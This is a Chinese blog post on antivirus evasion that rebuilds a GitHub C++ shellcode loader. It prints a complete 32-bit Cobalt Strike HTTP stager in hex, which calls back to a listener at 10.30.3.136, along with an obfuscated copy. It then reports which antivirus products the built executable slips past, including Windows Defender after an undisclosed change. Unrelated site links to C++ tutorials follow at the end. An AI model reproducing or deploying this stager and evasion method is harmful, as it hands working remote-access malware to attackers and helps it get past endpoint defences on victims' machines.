【免杀】C++静态免杀学习

简介: 【免杀】C++静态免杀学习

1. 别人的静态免杀


Github上看到一个c++的免杀,在4月6号的时候,还是bypass 很多的,但是一个月过去了,我执行之后发现了只能过火绒:

项目地址:https://github.com/G73st/BypassAV


2. 复现其他师傅的免杀


2.1 c++部分


其实他这部分代码的逻辑就是一个利用自己的密钥进行解密,解密之后再申请内存,执行shellcode,在这里先将别人的代码下载下来,在本地跑一下:

先把项目下载,然后把shellcode loader中的BypassAV.cpp代码复制下,然后新建项目打开,因为直接打开BypassAV.sln的话,加载会出错:

新建一个项目:

在这里找到你要新建的文件夹:

在这里选择空项目,关闭安全开发生命周期检查,然后选择完成:

然后在源文件的位置->添加->新建项:

选择添加c++文件,并修改名称:

将作者的代码复制过来:

此时告一段落,现在来搞另外一个部分:混淆代码


2.2 代码混淆


在本地启动cs

本地建立监听:

此时生成后门文件:

在这里选择c格式,在这里记得选择32位的,不要选择64位的,不然程序执行无效:

生成的shellcode如下:

/* length: 796 bytes */
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x21\x03\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x75\x38\x4b\x64\x00\x6c\x30\x45\x1d\x60\xa2\x8a\xdc\x45\x09\x45\x30\xd9\x69\xec\x89\x91\x91\xcb\xd4\xd0\x9c\x2a\x9c\x2b\xb9\xf9\xa4\x97\x1c\x8a\x3a\x5a\xb8\x90\xfc\x18\xcc\x1f\x36\x48\xb8\x2f\x31\xda\x2b\x21\xf6\x23\xea\x5b\xcb\x04\xe0\x89\x63\x96\x99\xfb\x18\x1f\xbe\x66\x3a\xc6\xd3\xe9\x74\xe7\xa9\x3c\xbb\xa6\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x53\x4c\x43\x43\x32\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x78\x98\x9c\x68\x36\x3a\xdd\x1d\x97\xb8\x34\xb0\xda\xc1\xac\xdf\xbc\x88\xfa\x09\x03\x20\xf9\x38\x9b\x35\xd3\x55\x2f\x84\x49\x9b\xc4\x71\x1a\x9e\xe8\x6a\x8c\x4d\x32\x2f\x49\x1a\x51\xa5\x58\xdb\x09\x46\x7b\x62\x78\xb1\x01\xf1\x39\x35\xd4\x2d\x4d\x81\xa9\x90\x19\x67\xee\x34\x84\xbe\x0d\x95\xf3\x0f\x4e\xee\xdd\x6a\xdd\x54\x09\x92\x00\x1f\x6f\x52\x91\xd0\x96\x3f\x86\x90\x36\x71\x09\x8b\x87\xe4\x34\xf5\x1a\xba\x44\xbb\x67\x9c\x7c\x25\x7c\x3a\x0c\xa5\x0f\x2b\x16\x7c\xad\x93\x52\x35\x9a\x5f\x4c\xaf\x11\xaf\x12\xf5\xad\xb7\x44\xbe\x4e\x42\xc6\xc8\xd6\xda\x4e\x50\xdc\xd7\x64\x78\x97\x9e\x41\x43\x9e\xe3\x32\x72\x43\xe0\x79\xcc\x0c\xe6\xc6\x2f\xb8\x69\x82\xf7\xec\x6b\x20\x1d\x3d\x69\xd5\x87\xab\x85\xd0\x1b\x42\x5a\xad\xd2\xb0\x65\x11\x5e\x70\xa9\x42\x2e\x4e\xb9\xbc\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x30\x2e\x33\x30\x2e\x33\x2e\x31\x33\x36\x00\x19\x69\xa0\x8d";

在这里拿纯净的shellcode部分:

\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x21\x03\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x75\x38\x4b\x64\x00\x6c\x30\x45\x1d\x60\xa2\x8a\xdc\x45\x09\x45\x30\xd9\x69\xec\x89\x91\x91\xcb\xd4\xd0\x9c\x2a\x9c\x2b\xb9\xf9\xa4\x97\x1c\x8a\x3a\x5a\xb8\x90\xfc\x18\xcc\x1f\x36\x48\xb8\x2f\x31\xda\x2b\x21\xf6\x23\xea\x5b\xcb\x04\xe0\x89\x63\x96\x99\xfb\x18\x1f\xbe\x66\x3a\xc6\xd3\xe9\x74\xe7\xa9\x3c\xbb\xa6\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x53\x4c\x43\x43\x32\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x78\x98\x9c\x68\x36\x3a\xdd\x1d\x97\xb8\x34\xb0\xda\xc1\xac\xdf\xbc\x88\xfa\x09\x03\x20\xf9\x38\x9b\x35\xd3\x55\x2f\x84\x49\x9b\xc4\x71\x1a\x9e\xe8\x6a\x8c\x4d\x32\x2f\x49\x1a\x51\xa5\x58\xdb\x09\x46\x7b\x62\x78\xb1\x01\xf1\x39\x35\xd4\x2d\x4d\x81\xa9\x90\x19\x67\xee\x34\x84\xbe\x0d\x95\xf3\x0f\x4e\xee\xdd\x6a\xdd\x54\x09\x92\x00\x1f\x6f\x52\x91\xd0\x96\x3f\x86\x90\x36\x71\x09\x8b\x87\xe4\x34\xf5\x1a\xba\x44\xbb\x67\x9c\x7c\x25\x7c\x3a\x0c\xa5\x0f\x2b\x16\x7c\xad\x93\x52\x35\x9a\x5f\x4c\xaf\x11\xaf\x12\xf5\xad\xb7\x44\xbe\x4e\x42\xc6\xc8\xd6\xda\x4e\x50\xdc\xd7\x64\x78\x97\x9e\x41\x43\x9e\xe3\x32\x72\x43\xe0\x79\xcc\x0c\xe6\xc6\x2f\xb8\x69\x82\xf7\xec\x6b\x20\x1d\x3d\x69\xd5\x87\xab\x85\xd0\x1b\x42\x5a\xad\xd2\xb0\x65\x11\x5e\x70\xa9\x42\x2e\x4e\xb9\xbc\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x30\x2e\x33\x30\x2e\x33\x2e\x31\x33\x36\x00\x19\x69\xa0\x8d

直接执行python3 BypassAV.py之后,会出现卡死的问题,所以这里进行了一个小小的改动:我直接把input屏蔽掉了,然后直接输出。

然后等待加密完成:

生成混淆之后的shellcode

527019643837973707320415151528632043778218372532553208237213320823722732082372753208322121522932302412032183799218328732472652843271172112073280375422012328837763715237234320823722632082662651237533208261327532003287322624112375323532082472713208233207123722377426524032082973208123721218379921832873247328037542201232882963771322437111032793713298327920632243776233320823320612372232573208227249320823327312372232081132081237533204263206206282282284238285232379937712332892853208223370932012803251322532523226153251322832593225325923132512463228203143799372021837992342342342342343251293236327232643799372037003207151515282218375223223232561023223232512001015152302353251234320432983283379937203709322728221837252373251151726132072372372372302372353251370923921629837993720320432833202328923521837992342343256379923023632512191627132703799372032003287229320732891215152183799320037163226113204371837091832513245328437762803799372032043280325126820028121837993720218379923432561423223623532513230234377122237993720328215214151529432883226323021837993700321912151537003752121515370732083799379937992143224296249325515325321326827828632673203377526818268213372432593706320432193219375037273753329621732962103239371832613292273320329328532313211379727137512022912473231214218372321020037162093701282375011377132042883295329037922712023285325729332833722370032263702326826532343266152393229325232212192693250325232253226293207244322232773259325332532842142972162132072152883222325832272843226325928332533252298207244230240268207296216213298207234325932253255322232283229207243231207291216218298207234248234291297298207231322132593255325232253226214297216213298207230246264264295298207216243268231207264246237207295216213216290213299295299212220225153275329732963251291293377227832923231297324637233280324737703233320637951810207371829632992903722239214320724032993286322027632933707325632152442952142402762323269233372818245327028332753244123712294290372721924432783268321127932503703297320732852203218371022924337033772325637722311832161520232222373219375332952603201321129132201832083209377329737192763236263323432503296327120432712932273269229210277327132403214237290329128924632492243249223371932403230263328524326632833755372137232432353775372932553275329232932692643293377429532212643771327237512273705328321432313259320537143706325420727826232593720320932423200375327426628532403725324632522242813227326826621624332393233153251371532323267236379937203256261325115226151532511515261152343251233326123037783799372032143239151515151237242322303204370223432511520715152302363251223329532043776379937203200328732263283320814123289320032873224377823332893707326837903799379921821321629221321629221621829229115279325932653212

放到原代码中:

选择Release

image.png

选择生成解决方案:

此时生成成功:

bd03dcd726215464da363c2b6121c7c4.png

8f7859f943dbf51c4bd9d0ae56b0cefe.png


2.3 上线测试


2.3.1 无杀软的情况_Windows10


双击之后即可上线:

2.3.2 火绒_Windows7


2.3.3 360_Windows_失败

关闭360的自动提交样本:

8eea0a227e4fb8134e0f47578bb48c3c.png

按位置扫描:

经过多次操作发现,当把shellcode剔除之后再打包,依旧被杀,360应该是对其中的某些关键字或操作进行了查杀,属于乱杀!


2.3.4 Windows Defender最新版


直接上去就没了,但是windows Defender的优点就在于当你不加载shellcode的时候,是不会静态查杀的!


3. 免杀Windows Defender


对于作者一个月以前的更新,可以过Windows Defender,但是现在只能免杀火绒,在这里对此做一个小小的改动,就可以达到以前的那种效果,但是依旧无法过360(因为免杀一直会被标记,此处的tips暂不提供,希望师傅能够理解)

此时最新版的Windows Defender


上线成功:

但是!!!这里依旧无法过360


4. 总结


在这个项目中,有一些坑:

  • • 程序必须自己建一个工程,导入c++代码
  • shellcode必须是32位的,不能是64位的(我64位失败)
  • • 代码混淆部分,我也是建议各位将shellcode复制进去,直接出结果!(可能只有我受影响)
  • • 生成的程序在某些windows10windows7上无法有效运行!!!

当然,在这个免杀中,均属于静态免杀,有些属于乱杀,就像碰到易语言一样,大家都杀!

在这里看到作者对于shellcode进行了混淆,主要是CSshellcode现在烂大街了,谁家AV没法查杀的话,就太丢面了,其实也可以使用msf来混淆shellcode,但是感觉作者这个思路蛮好的,作者在项目中说当时将shellcode从本地加载改到了内部加载,其实我更倾向于分离免杀,甚至远程加载!

又学到新的姿势了,以上内容仅供参考,后续我再更新其他的吧!

相关文章
|
3月前
|
算法 C语言 C++
C++语言学习指南:从新手到高手,一文带你领略系统编程的巅峰技艺!
【8月更文挑战第22天】C++由Bjarne Stroustrup于1985年创立,凭借卓越性能与灵活性,在系统编程、游戏开发等领域占据重要地位。它继承了C语言的高效性,并引入面向对象编程,使代码更模块化易管理。C++支持基本语法如变量声明与控制结构;通过`iostream`库实现输入输出;利用类与对象实现面向对象编程;提供模板增强代码复用性;具备异常处理机制确保程序健壮性;C++11引入现代化特性简化编程;标准模板库(STL)支持高效编程;多线程支持利用多核优势。虽然学习曲线陡峭,但掌握后可开启高性能编程大门。随着新标准如C++20的发展,C++持续演进,提供更多开发可能性。
79 0
|
22天前
|
编译器 C语言 C++
配置C++的学习环境
【10月更文挑战第18天】如果想要学习C++语言,那就需要配置必要的环境和相关的软件,才可以帮助自己更好的掌握语法知识。 一、本地环境设置 如果您想要设置 C++ 语言环境,您需要确保电脑上有以下两款可用的软件,文本编辑器和 C++ 编译器。 二、文本编辑器 通过编辑器创建的文件通常称为源文件,源文件包含程序源代码。 C++ 程序的源文件通常使用扩展名 .cpp、.cp 或 .c。 在开始编程之前,请确保您有一个文本编辑器,且有足够的经验来编写一个计算机程序,然后把它保存在一个文件中,编译并执行它。 Visual Studio Code:虽然它是一个通用的文本编辑器,但它有很多插
|
1月前
|
Java 编译器 C++
c++学习,和友元函数
本文讨论了C++中的友元函数、继承规则、运算符重载以及内存管理的重要性,并提到了指针在C++中的强大功能和使用时需要注意的问题。
19 1
|
4月前
|
存储 安全 编译器
【C++入门 四】学习C++内联函数 | auto关键字 | 基于范围的for循环(C++11) | 指针空值nullptr(C++11)
【C++入门 四】学习C++内联函数 | auto关键字 | 基于范围的for循环(C++11) | 指针空值nullptr(C++11)
|
4月前
|
人工智能 分布式计算 Java
【C++入门 一 】学习C++背景、开启C++奇妙之旅
【C++入门 一 】学习C++背景、开启C++奇妙之旅
|
4月前
|
存储 自然语言处理 编译器
【C++入门 三】学习C++缺省参数 | 函数重载 | 引用
【C++入门 三】学习C++缺省参数 | 函数重载 | 引用
|
4月前
|
小程序 C++
【C++入门 二 】学习使用C++命名空间及其展开
【C++入门 二 】学习使用C++命名空间及其展开
|
4月前
|
存储 C++ 索引
|
4月前
|
存储 C++ 容器
|
4月前
|
算法 数据处理 C++